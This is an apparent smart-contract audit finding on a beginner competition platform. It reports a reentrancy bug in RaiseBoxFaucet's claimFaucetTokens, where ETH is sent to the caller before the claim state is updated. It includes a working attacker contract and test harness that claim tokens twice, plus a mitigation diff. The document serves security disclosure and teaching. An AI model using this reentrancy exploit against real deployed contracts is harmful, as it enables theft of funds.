Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy attack in `RaiseBoxFaucet::claimFaucetTokens` allows first-time users to claim twice `faucetDrip` amount of `RB` tokens alongside `sepolia ETH` claim. Reduces initial supply, disrupts protocol's intended logic.

Root + Impact

Description

The RaiseBoxFaucet::claimFaucetTokens function sends all first-time users sepEthAmountToDrip amount of sepolia ETH with faucetDrip claim. This allows a first-time user contract to claim twice faucetDrip amount of RB tokens alongside sepolia ETH claim.

function claimFaucetTokens() public {
...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
}
...
}

Risk

Likelihood:

  • It is highly probable that contracts will request these faucets, exploiting this vulnerability to obtain more faucet tokens, especially due to the three-day cooldown.

  • Since there is no specific condition, the simplest reentrancy contract exploiter could be used to claim double tokens, bypassing the limitation before hitting the cooldown period.

Impact:

  • This vulnerability disrupts the protocol's intended logic, potentially causing a denial of service (DoS) and speeding the depletion of the initial RB token supply.

Proof of Concept

Add the following code snippet to the RaiseBoxFaucet.t.sol test file.

ReentrancyAttacker contract:

contract ReentrancyAttacker {
RaiseBoxFaucet victim;
uint256 public counter = 0;
constructor(RaiseBoxFaucet _victim) {
victim = _victim;
}
function attack() public payable {
victim.claimFaucetTokens();
}
receive() external payable {
console.log("balance of victim: ", address(victim).balance);
if (counter < 2) {
counter++;
victim.claimFaucetTokens();
}
}
}

This code snippet is designed to demonstrate the RaiseBoxFaucet::claimFaucetTokens function being successfully called twice through the reentrancy attack.

function testReentrancyAttack() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(raiseBoxFaucet);
uint256 lastAttackerClaimTime = raiseBoxFaucet.getUserLastClaimTime(address(attacker));
uint256 faucetDrip = raiseBoxFaucet.faucetDrip();
uint256 dailyClaimCount = raiseBoxFaucet.dailyClaimCount();
uint256 dailyClaimLimit = raiseBoxFaucet.dailyClaimLimit();
console.log("Before facuet Contract ETH balance", address(raiseBoxFaucet).balance);
console.log("Before attacker faucet token balance", raiseBoxFaucet.balanceOf(address(attacker)));
console.log("Last time attacker has claimed faucets: ", lastAttackerClaimTime);
console.log("faucetDrip: ", faucetDrip);
console.log("dailyClaimCount: ", dailyClaimCount);
console.log("dailyClaimLimit: ", dailyClaimLimit);
attacker.attack();
bool claimed = raiseBoxFaucet.getHasClaimedEth(address(attacker));
assertEq(claimed, true, "User has not successfully claimed eth");
uint256 afterLastAttackerClaimTime = raiseBoxFaucet.getUserLastClaimTime(address(attacker));
uint256 afterFucetDrip = raiseBoxFaucet.faucetDrip();
uint256 afterDailyClaimCount = raiseBoxFaucet.dailyClaimCount();
uint256 afterDailyClaimLimit = raiseBoxFaucet.dailyClaimLimit();
console.log("After facuet Contract ETH balance", address(raiseBoxFaucet).balance);
console.log("After attacker faucet token balance", raiseBoxFaucet.balanceOf(address(attacker)));
console.log("Last time attacker has claimed faucets: ", afterLastAttackerClaimTime);
console.log("faucetDrip: ", afterFucetDrip);
console.log("dailyClaimCount: ", afterDailyClaimCount);
console.log("dailyClaimLimit: ", afterDailyClaimLimit);
console.log("number of attackes", attacker.counter());
}

Recommended Mitigation

Possible mitigation is to move the sepolia ETH claim after faucetDrip claim, to ensure that the lastClaimTime for the user is changed before the sepolia ETH claim.

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
- // drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
- // still checks
- if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
- uint256 currentDay = block.timestamp / 24 hours;
-
- if (currentDay > lastDripDay) {
- lastDripDay = currentDay;
- dailyDrips = 0;
- // dailyClaimCount = 0;
- }
-
- if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
- hasClaimedEth[faucetClaimer] = true;
- dailyDrips += sepEthAmountToDrip;
-
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
-
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
- } else {
- emit SepEthDripSkipped(
- faucetClaimer,
- address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
- );
- }
- } else {
- dailyDrips = 0;
- }
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
+ // drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
+ // still checks
+ if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
+ uint256 currentDay = block.timestamp / 24 hours;
+
+ if (currentDay > lastDripDay) {
+ lastDripDay = currentDay;
+ dailyDrips = 0;
+ // dailyClaimCount = 0;
+ }
+
+ if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
+ hasClaimedEth[faucetClaimer] = true;
+ dailyDrips += sepEthAmountToDrip;
+
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+
+ if (success) {
+ emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ } else {
+ emit SepEthDripSkipped(
+ faucetClaimer,
+ address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
+ );
+ }
+ } else {
+ dailyDrips = 0;
+ }
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.